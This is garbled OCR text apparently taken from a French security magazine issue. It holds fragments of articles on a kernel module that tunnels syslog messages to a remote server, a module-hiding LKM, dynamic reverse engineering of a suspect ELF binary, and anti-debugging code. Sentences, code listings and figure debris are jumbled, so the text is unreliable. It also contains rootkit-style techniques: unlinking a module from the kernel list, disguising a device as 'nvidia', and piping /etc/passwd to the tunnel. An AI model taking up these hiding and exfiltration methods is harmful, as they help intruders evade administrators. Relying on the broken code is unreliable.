Listing 1. Code source du programme create-package #include #include #include #include #include #include //deux blocs de 1024 bits en collision #include "collision.h" #define COLLISION_BLOCK_SIZE (1024/8) #define TABLE_SIZE (sizeof(FileSizes)) using namespace std; uint32_t FileSizes[2], FileSizesNetFormat[2]; uint32_t getfilesize(ifstream &infile) { uint32_t fsize; infile.seekg(0, ios::end); fsize = infile.tellg(); infile.seekg(0, ios::beg); return fsize; } int main(int argc, char *argv[]) { if (argc < 3) { cout = LOG _ SIZE), que le paquet envoyé ultérieurement (LOG _ SIZE) pourrait contenir. Pour y remédier, le module réduira le nombre de données obtenues (length = LOG _ SIZE – 1), et retournera au processus le nombre de caractères reçus – cela empêchera la perte de données. Après avoir copié la quantité appropriée de données dans le tampon log _ buffer, le module appelle la fonction log _ me qui prend en argument le tampon contenant un message à envoyer et sa longueur. Ensuite, il met à blanc le contenu du tampon (memset(log _ buffer, '\0', LOG _ SIZE)) et retourne au processus le nombre de données chargées (return _ length).

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á Protection des journaux systeme

Création et transmission du paquet Trois fonctions sont responsables de la création et de la transmission d'un paquet au serveur syslogd : log _ me() ayant la valeur définie pendant l'opération sur le périphérique en mode caractère, gen _ packet() – créant un paquet à envoyer et send(), répondant de l'envoi du paquet créé à une machine distante (cf. le Listing 3). La tâche de la fonction gen _ packet() consiste à générer un paquet UDP/IP contenant notre message et à le mettre à disposition en tant que structure sk _ buff, c'est-à-dire, l'une des structures principales du noyau servant à traiter les données entrant et sortant par les interfaces réseau. Premièrement, il faut déterminer la taille du paquet ; pour cela, il faut additionner les tailles des en-têtes spécifiques (IP, UDP et Ethernet) et la longueur du message compris dans la variable lenght (packet _ size = sizeof(struct

Listing 3. Création et transmission d'un paquet, suite (...) inline int send(struct sk_buff *skb) { if (!skb) return -1; spin_lock_bh(&output_dev->xmit_lock); if (output_dev && !netif_queue_stopped(output_dev)) output_dev->hard_start_xmit(skb, output_dev) else kfree_skb(skb); spin_unlock_bh(&output_dev->xmit_lock); return 1; }

������������� ����������������������

���������������� ������������� ����������

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ethhdr) + sizeof(struct iphdr) +

udphdr) + lenght). une nouvelle structure sk _ buff capable de contenir le paquet entier est allouée. Après la réservation de la place pour l'entête Ethernet (skb _ reserve(skb, sizeof(struct ethhdr))), les entêtes UDP et IP (iph et udph) sont remplis ; l'adresse source pour l'en-tête IP est chargée à partir de l'interface réseau – iph->saddr = in _ dev->ifa _ list->ifa _ address. Si l'interface n'a pas d'adresse affectée, la création du paquet est interrompue. L'étape suivante est le remplissage de l'en-tête Ethernet – l'adresse MAC source est chargée, de même que dans le cas de l'en-tête IP, à partir de l'interface d'entrée. Enfin, le module, à partir de la variable lenght, copie dans le paquet les données à envoyer (strncpy(payload, buffer, lenght), et ensuite, il calcule la somme de contrôle pour l'en-tête IP (iph->check = ip _ fast _ csum((void *) iph, iph->ihl)). sizeof(struct

Ensuite,

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Figure 3. Environnement de travail SYSLOG Kernel Tunnel typique À la fin, la fonction

inline

int

envoie le paquet créé via l'interface réseau déterminée (output _ dev). send(struct

sk _ buff

*skb)

Installation et configuration du module tunnel.o

Nous connaissons déjà le fonctionnement du module tunnel.o. L'étape suivante du démarrage du transfert des journaux est l'installation de ce module. Si les deux ordinateurs (source et serveur syslogd) sont dans le même réseau ou sont séparés par un routeur, l'installation se fait d'une façon différente. Le schéma des environnements de travail SKT typiques est présenté sur la Figure 3. Le processus de l'installation commence par le décompactage de l'archive avec les codes sources du projet : # tar zxf skt-0.1.tgz

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Ensuite, nous devons compiler le module : # cd skt-0.1 skt-0.1# make

Le module a été configuration a été dant le chargement et consiste à définir suivants : •

•

•

construit. Sa effectuée pendans le noyau les paramètres

– l'interface réseau via laquelle les paquets avec les messages seront envoyés, SOURCE _ PORT – le port source contenu dans l'en-tête des paquets UDP générés ; s'il n'est pas défini, le module utilise la valeur la défaut (514), DESTINATION _ MAC – l'adresse matérielle de l'interface réseau de la machine cible ; si l'ordinateur cible n'est pas dans le même INTERFACE

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Bibliothèque glibc – chose difficile ? La mise à jour de la bibliothèque glibc dans le système fonctionnant est une tâche très difficile. L'installation des correctifs et la compilation ne posent pas de problèmes, mais l'installation d'une nouvelle version est assez compliquée et, malheureusement, ne se limite pas à la commande magique make install. Cela est dû au fait que lors de l'installation, les fichiers des bibliothèques partagées utilisées par tous les programmes lancés dans le système sont changées. Leur suppression ou remplacement peuvent causer des problèmes dans toutes les applications qui les utilisent – de cela, l'installation ne réussira pas. Cela concerne également les programmes principaux, comme cp, ls, mv ou tar. Il existe quelques possibilités pour résoudre ce problème. L'une d'elles consiste à préparer les versions des outils compilés statiquement (c'est-à-dire ceux qui n'utilisent pas les bibliothèques partagées), nécessaires dans le processus d'installation. Cela concerne les jeux de programmes comme binutils, make,

# cp ../skt-0.1/glibc-2.3.2-skt.patch .

core-utils, tar et bash. Toute la procédure de mise à jour de glibc de cette manière est très bien décrite dans le document Glibc Installation HOWTO qui est disponible sur le site http://www.tldp.org/ (cf. l'Encadré Sur le réseau). Une autre méthode consiste à préparer un paquet avec la bibliothèque glibc convenable pour la distribution de Linux utilisée et à l'installer dans le système après le démarrage de l'ordinateur, par exemple à partir du CD d'installation. Comment le faire ? Analysons cette procédure sur l'exemple de la distribution Slackware 9.1. Nous créons un répertoire de travail et nous y chargeons les archives appropriés avec le code source :

lequel nous sommes :

Dans le script glibc.SlackBuild, sur la ligne 81 (avant les lignes responsables de la compilation), nous ajoutons la ligne qui saisira notre correctif pendant la construction du paquet : cat $CWD/glibc-2.3.2-skt.patch | patch -p1

Bien sûr, l'installation du correctif peut être effectuée manuellement. Enfin, nous construisons le paquet en démarrant le script glibc.SlackBuild : # ./glibc.SlackBuild

En résultat, dans le répertoire /tmp nous obtenons le paquet glibc2.3.2-i486-1.tgz tout prêt. Nous le copions dans le répertoire dans

cp /tmp/glibc-2.3.2-i486-1.tgz .

Ensuite, nous démarrons l'ordinateur à partir du CD d'installation et nous montons le système de fichiers principal qui dans cet exemple se trouve sur la partition hda2, dans le répertoire /HOST : # mkdir /HOST # mount /dev/hda2 /HOST

À la fin, nous installons le paquet de la bibliothèque glibc modifié : # mkdir glibc # cd glibc # wget -c ftp://ftp.icm.edu.pl/pub/linux/ slackware/slackware-9.1/source/l/glibc/*

# installpkg -root /HOST \

§

/HOST/root/glibc/glibc-2.3.2-i486-1.tgz

Ensuite, nous copions dans le répertoire courant la mise à jour glibc-2.3.2-skt.patch :

Défense

• •

•

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réseau que l'ordinateur source, il faut définir l'adresse de l'interface du routeur qui servira d'intermédiaire dans la transmission des paquets, DESTINATION _ IP – l'adresse IP de l'ordinateur cible, DESTINATION _ PORT – le port cible des paquets UDP ; s'il n'est pas défini, le module utilise la valeur 514, c'est-à-dire le port standard sur lequel le programme sysklogd écoute, NAME – le nom du périphérique qui sera enregistré ; le nom par défaut est tunnel,

•

Après le redémarrage, le système utilisera la version modifiée de la fonction syslog().

– le numéro du périphérique qui sera enregistré ; s'il n'est pas donné ou a la valeur 0, le numéro sera affecté dynamiquement par le noyau.

MAJOR _ NUMBER

Essayons de charger le module et de vérifier son fonctionnement. Pour les ordinateurs qui se trouvent dans le même réseau, cela se présente ainsi : # insmod tunnel.o \ INTERFACE=eth0 \ DESTINATION_MAC=01:02:03:04:05:06 \ DESTINATION_IP=10.0.0.10

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Si les machines sont dans les réseaux différents, cette commande sera un peu différente : # insmod tunnel.o \ INTERFACE=eth0 \ DESTINATION_MAC=11:12:13:14:15:16 \ DESTINATION_IP=20.0.0.30

Quelle est la différence ? Dans le premier cas, si le système protégé et le serveur de journaux se trouvent dans le même réseau, aux paramètres DESTINATION _ MAC et DESTINATION _ IP nous affections les valeurs étant les adresses MAC

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á Protection des journaux systeme

et IP de la machine cible. Par contre, si les messages doivent être envoyés dans le système qui se trouve dans un réseau différent que l'ordinateur source, le paramètre DESTINATION _ MAC doit déterminer l'adresse MAC de l'interface réseau du routeur qui servira d'intermédiaire dans la transmission des messages. De plus, lors du chargement du module tunnel.o dans le noyau, il est possible de définir le port source et cible contenu dans les en-têtes des paquets UDP générés. Dans certaines situations (par exemple la configuration non standard du serveur distant sysklogd) cela peut s'avérer utile. Maintenant, nous devons créer le fichier de périphérique en mode caractère via lequel nous communiquerons avec le module. Pour ce faire, utilisons le numéro principal du périphérique affecté au module par le noyau qui, après le chargement correct, sera envoyé au serveur distant syslogd : SYSLOG Kernel Tunnel is starting up. Tunnel device major number is 254.

Pour créer le fichier de périphérique, il faut exécuter la commande suivante : # mknod /dev/tunnel c 254 0

Il est grand temps de tester le fonctionnement du module : # echo “hoho” > /dev/tunnel; \ cat /etc/passwd > /dev/tunnel

Bien sûr, une simple opération de configuration et le lancement du module ne suffisent pas pour que les journaux soient envoyés à un système distant par les applications utilitaires. Pour que le module tunnel.o satisfasse aux principes adoptés, nous devons modifier la fonction syslog() de façon à ce qu'avant d'envoyer un message aux journaux d'événements système, elle l'enregistre dans le fichier de notre périphérique. Une telle modification est comprise dans la mise à jour de

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Listing 4. Fragment modifié du code de la fonction syslog() – fichier syslog.c (...) FILE *tunnel = NULL; (...) tunnel = fopen(TUNNEL, "w"); if (tunnel) { fprintf(tunnel, "%s", buf); fclose(tunnel); }

Listing 5. Mode d'emploi du module clean.o # lsmod Module # insmod -y tunnel.o # lsmod Module tunnel # insmod clean.o # lsmod Module clean # rmmod clean # lsmod Module

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Listing 6. Code source du module clean.o #define __KERNEL__ #define MODULE #include #include #include MODULE_LICENSE("GPL"); int init_module() { if (__this_module.next) __this_module.next = __this_module.next->next; return 0; } int cleanup_module() { return 0; }

la bibliothèque glibc en version 2.3.2 qui fait partie de notre projet SKT.

Mise à jour la bibliothèque glibc

Le second élément très important du SKT est le correctif portant le nom glibc-2.3.2-skt.patch (il est évidemment disponible sur hakin9.live). Après l'ajout au code source de la bibliothèque glibc, le correctif modifie la fonction système syslog() de façon à ce que tous les messages, envoyés

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à un enregistreur d'événement local soient en même enregistrés dans le fichier /dev/tunnel. Grâce à cela, nous pouvons surveiller toutes les applications fonctionnant dans le système sans avoir à en modifier une. De plus, le correctif définit le périphérique en mode caractère à utiliser – au fichier glibc-2.3.2/misc/sys/syslog.h il ajoute une constante contenant le nom du fichier de notre périphérique : #define TUNNEL

"/dev/tunnel"

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Défense

Listing 7. Contenu du fichier /proc/devices après le chargement du module tunnel.o

Listing 8. Contenu du fichier /proc/devices après la dissimulation du périphérique

# cat /proc/devices Character devices: 1 mem 2 pty 3 ttyp 4 ttyS 5 cua 7 vcs 10 misc 29 fb 109 lvm 128 ptm 129 ptm 136 pts 137 pts 162 raw 254 tunnel

# cat /proc/devices Character devices: 1 mem 2 pty 3 ttyp 4 ttyS 5 cua 7 vcs 10 misc 29 fb 109 lvm 128 ptm 129 ptm 136 pts 137 pts 162 raw 195 nvidia

Block devices: 1 ramdisk 2 fd 3 ide0 7 loop 9 md 58 lvm

Block devices: 1 ramdisk 2 fd 3 ide0 7 loop 9 md 58 lvm

La modification est si simple que la mise à jour d'une édition quelconque de glibc ne devrait pas poser de problèmes (cf. l'Encadré Bibliothèque glibc – chose difficile ?). Le Listing 4 présente les modifications de base implémentées par le correctif dans le code source de la fonction syslog(). La fonction modifiée, après l'appel, ouvrira en mode RW (read-write) le fichier de périphérique dont le nom se trouve dans la constante TUNNEL (tunnel = fopen(TUNNEL, "w"). Si le fichier est ouvert correctement, la chaîne de caractères contenue dans la variable buf (c'est-à-dire le journal de l'événement système qui nous intéresse) y est inscrite. Après cette opération, la fonction syslog() ferme le fichier de périphérique.

Dissimulation de la présence dans le système

Dans la confi guration standard, il est très facile de détecter la présence du module tunnel.o dans le système d'exploitation. Tout

54

droits d'administrateur, est toujours capable de le supprimer. Pour y remédier, nous avons le second module faisant partie du projet. Très simple, sa tâche consiste justement à cacher la présence du module tunnel.o (ou autre) dans le noyau.

Module clean.o

d'abord, le module est visible dans la liste des modules du noyau actifs. Cette liste peut être affi chée à l'aide de la commande lsmod (il est donc possible de supprimer ce module par la commande rmmod). Nous pouvons, au moyen du paramètre -o de la commande insmod, charger le module sous un autre nom, mais ce n'est qu'une solution partielle. Pourtant, comme il est facile à deviner, l'intrus possédant les

Le principe du fonctionnement du module clean.o se base sur le fait que le noyau stocke les modules chargés sous forme d'une liste unidirectionnelle. Le début de la liste est le pointeur vers la structure module portant le nom *module _ list, par contre chaque module ajouté au noyau est mis à son début. La variable *next disponible dans la structure module, est mise au début précédent de la liste. Le module clean.o supprime de la liste (mais pas du noyau) le module qui se trouve actuellement au début (c'est-à-dire celui qui a été lancé en dernier) en mettant son pointeur *next sur le module deux positions plus loin. Le fonctionnement du module clean.o est présenté sur la Figure 4, et son mode d'emploi est disponible dans le Listing 5. Le code source du module est affiché dans le Listing 6. Mais ici le jeu de cache-cache avec l'intrus potentiel ne finit pas. Il suffit que le pirate consulte les fichiers appropriés dans le répertoire /proc, et tous nos efforts sont vains.

����������������������������������������������� ������������ �������� ��������������������

�������� ��������������������

�������� ��������������������

�������� ��������������������

�������� ��������������������

���

�������� ��������������������

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���

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�������������������������������� ������������

�������� ��������������������

Figure 4. Fonctionnement du module clean.o

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á Protection des journaux systeme

Nom et numéro du périphérique

Tous les périphériques enregistrés dans le système sont consultables dans le fichier /proc/devices (le Listing 7 présente le contenu de ce module après le chargement du module tunnel.o). Comme vous voyez, il contient l'information sur le nom et le numéro de notre périphérique. De cela, pour empêcher de détecter la présence du module, il faut modifier le nom standard et le numéro du périphérique enregistré par le module tunnel.o. Pour ce faire, il faut, pendant le chargement du module, déterminer les paramètres NAME (nom) et MAJOR _ NUMBER (numéro du périphérique). Comment le faire ? Admettons que nous voulons cacher notre périphérique sous le nom nvidia (le numéro du périphérique 195 est un numéro des cartes graphiques nVidia) :

������������������������

�������������

������

����������������

��������������� ������������

���������������������������� ������������������������������ ������������������������� ��������������������

������������

��������

��������� ������������������

�����������������

��������������������

������������ ������������������ �������

������

# insmod -y tunnel.o \ INTERFACE=eth0 \

�������

DESTINATION_MAC=01:02:03:04:05:06 \ DESTINATION_IP=10.0.0.10 \ NAME=nvidia \ MAJOR_NUMBER=195

Il faut faire attention à ne pas donner les valeurs qui sont déjà utilisées – si c'est le cas, le périphérique ne sera pas enregistré. Heureusement, le module informera le serveur de journaux sur le problème éventuel lié aux valeurs de ces paramètres en envoyant le message suivant : Cannot allocate major number!

Listing 8 présente le résultat après la saisie de ces paramètres. La dernière chose que nous devons faire est la modification du nom du fichier de périphérique

Figure 5. Schéma du fonctionnement du module tunnel.o /dev/tunnel de façon à éviter une association quelconque au module tunnel.o. Mais il ne faut pas oublier de modifier le nom du fichier dans la mise à jour pour la fonction syslog() (et plus précisément – dans le fichier misc/sys/syslog.h disponible dans le répertoire avec les sources de la bibliothèque glibc).

Meilleur et plus sûr

SYSLOG Kernel Tunnel en version actuelle ne fournit que des fonctionnalités principales. Bien qu'il fonctionne tout à fait correctement, il y a des choses qu'il pourrait faire mieux – avant tout, protéger les journaux contre les

Sur le réseau • •

http://bama.ua.edu/~dunna001/journeyman/html/c241.htm – le manuel d'utilisation pour la création des modules du noyau de Linux, http://www.tldp.org/HOWTO/Glibc2-HOWTO-2.html – le tutorial concernant la mise à jour de la bibliothèque glibc.

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attaques (surtout contre l'écoute) à partir d'un autre ordinateur que celui qui envoie les messages. Le mieux serait de chiffrer les messages avant l'envoi, mais pour cela, il faudrait concevoir un programme réceptionnant et déchiffrant les messages ou, éventuellement, modifi er le serveur syslogd de façon à ce qu'il s'en occupe. Une autre chose importante serait d'ajouter la possibilité d'envoyer les messages générés par le noyau même, mais pour cela, il serait probablement nécessaire de modifi er la fonction interne du noyau printk() qui est conçue à cet effet. Le projet SYSLOG Kernel Tunnel, bien qu'il soit très jeune, est développé très dynamiquement. Si vous avez des idées, du savoir-faire ou vous voulez aider, n'hésitez pas à contacter l'auteur Michał Piotrowski – [email protected]. n

55

Reverse engineering – analyse dynamique du code exécutable ELF

Marek Janiczek

L'analyse dynamique du code exécutable ELF donne plus de possibilités que l'analyse statique – elle permet d'influencer le fonctionnement d'un programme étudié. Elle n'est pas trop difficile à effectuer, mais exige un environnement séparé.

Défense

D

56

ans l'analyse après intrusion, il y a deux approches principales pour réaliser l'ingénierie inverse d'un programme exécutable suspect. La première, c'est l'analyse statique pendant laquelle le programme examiné n'est pas lancé, mais en se basant uniquement sur le contenu, la logique et les mécanismes appliqués (cf. l'article Ingénierie inverse du code exécutable ELF dans l'analyse après intrusion, hakin9 1/2005). La seconde est l'analyse dynamique, c'est-à-dire les tentatives de lancer sous contrôle et de tracer le fonctionnement du programme suspect. Ce qui caractérise l'analyse dynamique, c'est la possibilité d'influencer le fonctionnement et le déroulement du programme étudié. Nous analyserons le programme suspect kstatd, retrouvé dans un système compromis. Outre la description des techniques et des outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent avoir lieu lors des examens. Certains éléments de l'analyse dynamique présentée seront utiles pour collecter les preuves concernant le système compromis ou lors de ce qu'on appelle live forensic analysis, c'est-à-dire l'analyse après intrusion en direct.

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Environnement de travail

Si nous nous décidons d'effectuer l'analyse dynamique d'un fichier exécutable suspect, nous devons nous rendre compte qu'un tel fichier peut contenir des mécanismes ayant pour le but de l'empêcher ou de tromper la personne qui l'effectue (cf. l'Encadré Techniques empêchant le désassemblage et le débogage). Prévoir le comportement du programme analysé peut être très difficile – il est donc nécessaire de préparer un environnement système et réseau séparé dans lequel il sera possible d'effectuer en toute sécurité le démarrage contrôlé

Cet article explique... • •

comment effectuer l'analyse dynamique du code exécutable ELF, comment utiliser le débogueur gdb.

Ce qu'il faut savoir... • • •

le langage de programmation C, au moins les notions de base du langage Assembleur, utiliser la ligne de commande des systèmes de la famille *NIX.

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Analyse dynamique du code exécutable

Polygone sûr

L'environnement réseau dans lequel nous voulons effectuer l'analyse dynamique doit être séparé physiquement et logiquement (VLAN, règles du pare-feu) des autres réseaux. Si nous supposons que le programme analysé peut entrer en interaction avec les systèmes via Internet, en option, nous pouvons permettre les connexions extérieures. Dans ce cas, à part le système dans lequel l'analyse sera effectué, l'environnement réseau séparé doit contenir aussi un hôte jouant le rôle d'un sniffeur du trafic réseau et l'hôte auquel nous pourrons envoyer les résultats éventuels de l'analyse. La configuration du système d'exploitation dans lequel l'analyse sera effectuée doit rassembler à l'environnement dans lequel le programme suspect a été trouvé. C'est particulièrement important, si le programme en question est compilé dynamiquement et nécessite pour son fonctionnement les bibliothèques partagées. L'emploi des outils tels que Tripwire ou AIDE pour la création des sommes cryptographiques des fichiers est aussi une très bonne idée. Les sommes cryptographiques générées peuvent être également utilisées dans l'analyse ultérieure pour vérifier l'intégrité des fichiers sur différentes étapes et détecter les modifications éventuelles introduites par le programme analysé. Nous pouvons aussi employer les outils plus avancés comme SAMHAIN ou Osiris qui, outre la vérification de l'intégrité des fichiers, vérifient l'intégrité des structures du noyau du système. Pour s'assurer que les outils utilisés dans l'analyse n'ont pas été modifiés, il est recommandé de se servir des outils disponibles sur des supports extérieurs protégés contre écriture, par exemple ceux disponibles sur hakin9.live. L'environnement du système d'exploitation dans lequel nous effectuerons l'analyse, ne doit pas nécessairement être un hôte physique dans le réseau. Une alternative intéressante serait l'utilisation de programmes permettant d'émuler un autre hôte. VMware est l'un des programmes de ce type – il permet de créer et de restaurer facilement la copie du système (toutes les informations sur le système virtuel sont stockées dans quelques fichiers). Son autre avantage est la possibilité de créer des copies (snapshots) de l'état du système et d'annuler les changements jusqu'à l'état mémorisé et la possibilité de commuter le travail du disque de l'hôte virtuel du mode Persistent en mode Non Persistent. En résultats, toutes les modifications qui ont été effectuées lors du fonctionnement du système ne sont pas mémorisées et après le redémarrage, le système revient à l'état initial.

et de tracer les actions exécutées (cf. l'Encadré Polygone sûr). Dans notre analyse, nous utiliserons deux hôtes qui se trouvent dans un réseau physiquement séparé (cf. la Figure 1). Sur le premier, nous installerons le programme

VMware, sur le deuxième, le système de confiance avec un sniffeur (auquel nous enverrons les résultats de l'analyse). Dans l'environnement VMware, un hôte virtuel avec le système d'exploitation Red Hat Linux 7.3 sera installé (la version

�������������������������������������������� ��������

����������������� �����������������������������������

�������������

�������� ����������������������� �����

�����

Figure 1. Schéma de l'environnement d'analyse

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dans laquelle le programme suspect a été retrouvé). Pour faciliter l'écoute du trafic, les hôtes seront connectés en réseau à l'aide d'un concentrateur (hub). Après tous ces préparatifs, dans le système dans lequel nous effectuons l'analyse, nous générons à l'aide de l'outil AIDE, les sommes cryptographiques de tous les éléments importants, et ensuite, nous les exportons à un hôte de confiance. Dans l'environnement ainsi préparé, nous copions le programme à analyser et nous activons le mode de travail Non Persistent sur le disque virtuel. Le système est prêt.

Analyse dynamique du code exécutable

L'analyse sera effectuée en trois étapes (cf. la Figure 2). Dans la première, nous lancerons le programme analysé de façon standard (sans utiliser les mécanismes de surveillance) et nous effectuerons une estimation générale à partir des informations disponibles dans le système d'exploitation. Dans la seconde étape, nous tenterons de suivre les appels des fonctions système. Enfin, dans la troisième étape, nous suivrons le fonctionnement du programme au moyen d'un débogueur. Chaque étape successive permettra d'obtenir les informations plus détaillées concernant le programme analysé. Après la fin de chaque étape, il sera possible de vérifier les sommes cryptographiques des fichiers et de redémarrer le système pour s'assurer si le programme analysé n'a pas effectué des modifications qui pourraient influencer négativement les résultats obtenus dans les étapes ultérieures.

Étape I – le lancement standard du programme

Dans la première étape, nous analyserons le programme d'une façon générale. Pour reconnaître son type et obtenir les informations de base, nous utiliserons la commande file.

57

Listing 1. Informations obtenues à l'aide de la commande ps # ps ax -o pid,%cpu,%mem,stat,caught,ignored,blocked,eip,esp,stackp,flags,wchan,tty,cmd PID %CPU %MEM STAT CAUGHT IGNORED BLOCKED EIP ESP STACKP F WCHAN 7058 0.0 0.3 S 0000000000014022 8000000000200000 0000000000000000 080622c2 bffff8ec bffffb80 040 schedule _ timeout …

L'une des informations les plus importantes est la méthode de compilation du programme étudié. Comme l'on peut remarquer, le programme à analyser est compilé statiquement : # file kstatd kstatd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Passons maintenant au démarrage du programme et à l'analyse des

informations que l'on peut obtenir à partir des structures de données stockées dans le système d'exploitation. L'une des informations de ce type est le résultat du fonctionnement de la commande ps, permettant d'obtenir, par exemple, les informations sur l'utilisation du processeur (%CPU), de la mémoire (%MEM ) et de l'état du processus (STAT), qui indiquent l'activité du processus analysé. Les informations sur les signaux interceptés ( CAUGHT), négligés (IGNORED) et verrouillés ( BLOCKED) indiqueront comment le processus analysé réagira aux signaux

qui lui sont envoyés. L'état du registre du processeur %eip ( EIP) montrera l'adresse de l'instruction en cours d'exécution. La valeur du champ STACKP révélera l'emplacement du bas de la pile, et le registre %esp ( ESP) – l'adresse de son sommet actuel. De plus, à partir des résultats de la commande ps (champ WCHAN), nous pourrons connaître les informations concernant le nom ou l'adresse de la fonction (ce qu'on appelle canal) dans laquelle le processus est endormi (le processus ayant l'état Running dans le champ WCHAN a un tiret). Le champ désigné

����������������������������� ��������������

������������������������������ ������������������������������������������� ��������������������

������������������������� �������������������������

���������������������������� �����������������������

����������������������������������������� ���������������������������������������� ����������������������������������������� ������������������������

CMD ./kstatd

�����������

������������������

���������������������������

������������������������� �������������������������������� ��������������������������������

�������������������������������������� �������������������������

��������������������������� ����������������������������������

���������������������������������

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Défense

���������������������������������������� ���������������������

�������������������� ���������������������

���

���

���������������������������

������������������

Figure 2. Déroulement de l'analyse dynamique

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Analyse dynamique du code exécutable

par la lettre F (FLAGS) détermine les drapeaux actuels du processus. Pour pouvoir tracer le processus, la commande ps peut être lancée plusieurs fois. Il est également possible d'utiliser l'outil de type top qui met à jour la liste de processus en cours dans un intervalle de temps défini. Lançons donc la commande ps avec les arguments appropriés (cf. le Listing 1). Consultons les informations obtenues. L'utilisation du processeur et l'état du processus kstatd indiquent qu'au moment du lancement de la commande ps, il n'a effectué aucun calcul intense et était en mode endormi (fonction schedule _ timeout()). De plus, après un lancement multiple de la commande ps, il s'est avéré que la valeur du registre %eip indique que le processus attend un évènement ou une ressource non défini à ce moment. À la suite de l'analyse des signaux, nous pouvons savoir quels signaux sont interceptés, négligés et bloqués (la définition des masques : _ _sigmask(sig) (((unsigned long int) 1) 1 -> 2 -> 3 -> 4 ->

/dev/pts/0 /dev/pts/0 /dev/pts/0 /root/anti/test /root/anti/test

par exemple), la valeur PPID est autre que la valeur SID (le PPID pour le processus test est de 22126 et le SID est égal à 22098) – voir le Listing 7. Cela paraît évident étant donné que le logiciel de suivi est un processus père. Il s'agit d'utiliser ici la méthode permettant à un outil de suivi de lancer la fonction ptrace() et cette dernière va donc créer un processus fils au moyen de la fonction fork(). En étant conscient de cette dépendance, il est possible d'utiliser dans le logiciel une condition simple permettant de détecter les outils de suivi. Pour consulter le code de ce logiciel, reportez-vous au Listing 8. Note – si le logiciel est démarré au niveau du shell hérité (après avoir appelé su, par exemple), il se comportera comme s'il était démarré sous le débogueur.

Simple et efficace

Les méthodes décrites peuvent rendre l'analyse dynamique du code beaucoup plus difficile. Comme vous avez pu le constater, elles ne sont pas compliquées et ce qui est plus important – elles ne contiennent que quelques lignes de code (une ligne une fois les modifications nécessaires effectuées). N'oubliez pas que ces méthodes servent plus à détecter la présence du VMware ou du débogueur plutot qu'à

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Listing 6. Valeurs PPID et SID pour le logiciel de test $ ps --format "pid ppid sid cmd" PID PPID SID CMD (...) 12209 10996 10996 test (...)

Listing 7. Valeurs PPID et SID en cas de démarrage à l'aide de gdb $ ps --format "pid ppid sid cmd" PID PPID SID CMD (...) 22126 22098 22098 gdb test 22157 22126 22098 test (...)

Listing 8. Logiciel de détection du débogueur – méthode 3 main () { if(getppid()==getsid(getpid())) { //notre logiciel return 0; } else { printf("Débogueur détecté\n"); return 1; } }

sécuriser réellement votre code. Si vous deviez augmenter la sécurité, il faudrait par exemple chiffrer et déchiffrer directement les sources dans la mémoire opérationnelle. n

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Tests de pénétration extérieur

Les tests de pénétration locaux ne disent pas toujours toute la vérité sur le niveau de sécurité du réseau entier – les intrus, pour s’introduire dans un réseau, utilisent le plus souvent les connexions distantes. Les tests de pénétration extérieurs permettent d’estimer les menaces réelles. Dans son article, Rudra Kamal Sinha Roy raconte comment analyser le site Web de notre propre réseau.

Attaques SQL Injection SQL Injection est une technique d’attaque contre les bases de données très populaire. Bien qu’elle soit très connue, les crackers l’utilisent toujours avec succès. Tobias Glemser explique comment employer cette technique d’attaque, comment s’y défendre et que peut faire l’intrus pour contourner magic_quotes.

Honeypots – un leurre aux vers La lutte contre les vers réseau est le cauchemar de chaque administrateur d’un grand réseau. Cette tâche fastidieuse peut être améliorée grâce aux honeypots – des leurres virtuels simulant le fonctionnement de vrais systèmes. Michał Piotrowski, sur l’exemple de Sasser et Blaster, présentera les techniques de désactivation des vers.

Sécurité physique des systèmes informatiques Même les pare-feux les plus parfaits ne suffisent pas pour garder notre infrastructure loin de la portée des intrus. On dit que le système sûr est celui qui est débranché. Est-ce vraiment si difficile ? Comment assurer la sécurité physique de nos systèmes ? L’article de Jeremy Martin permettra de répondre à ces questions.

Méthodes de dissimulation des rootkits

Placer un rootkit dans un système n’est pas encore un succès. Un administrateur expérimenté se rendra vite compte de la présence du code indésirable. L’intrus, pour dissimuler ses actions, doit effectuer beaucoup de travail. Mariusz Burdach présentera les techniques les plus efficaces de dissimulation de la présence des rootkits.

Sur le CD • • •

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hakin9.live – la distribution bootable de Linux, beaucoup d’outils – une boîte à outils de chaque hacker, les tutoriaux – les exercices pratiques concernant les questions abordées dans les articles, une documentation supplémentaire.

Les informations actuelles sur le numéro à venir – http://www.hakin9.org Le numéro disponible à la vente depuis la fin du mois d’avril 2005.

La rédaction se réserve le droit de changer le contenu du magazine.

Vous trouverez les informations les plus récentes sur le marché des logiciels dans les

Catalogues de hakin9

Sujets des catalogues contenant des articles publicitaires pour le magazine hakin9, année 2005 : N°

Sujets du catalogue

3/2005

1. Logiciels anti-virus pour les stations client et serveurs

4/2005

1. Systèmes IDS et IPS (pour détecter les intrusions et protéger contre celles-ci) 2. Scanners de sécurité et outils de tests de pénétration 3. Services d’audits de sécurité

5/2005

1. Pare-feux matériels et logiciels 2. Systèmes VPN matériels et logiciels 3. Services de conception et de contrôle des pare-feux

6/2005

1. Matériel réseau (dispositifs actifs et passifs, éléments du réseau) 2. Logiciels de gestion de système informatique de l’entreprise 3. Services de conception et de réalisation des réseaux informatiques sûrs

1/2006

1. Systèmes de stockage de données sûrs 2. Logiciels de gestion de stockage et récupération de données 3. Récupération de données du matériel abîmé et suppresion de données sûre

2/2006

1. Cryptage de données : logiciels pour les stations client et serveurs 2. Matériel de cryptage 3. Systèmes PKI, autorités de certification

Chaque numéro présente des sujets différents. Le catalogue contient les présentations des entreprises et leurs coordonnées. Chef du projet : Szymon Kierzkowski tél : +48 22 860 18 92 e-mail : [email protected]

G-Lock Software

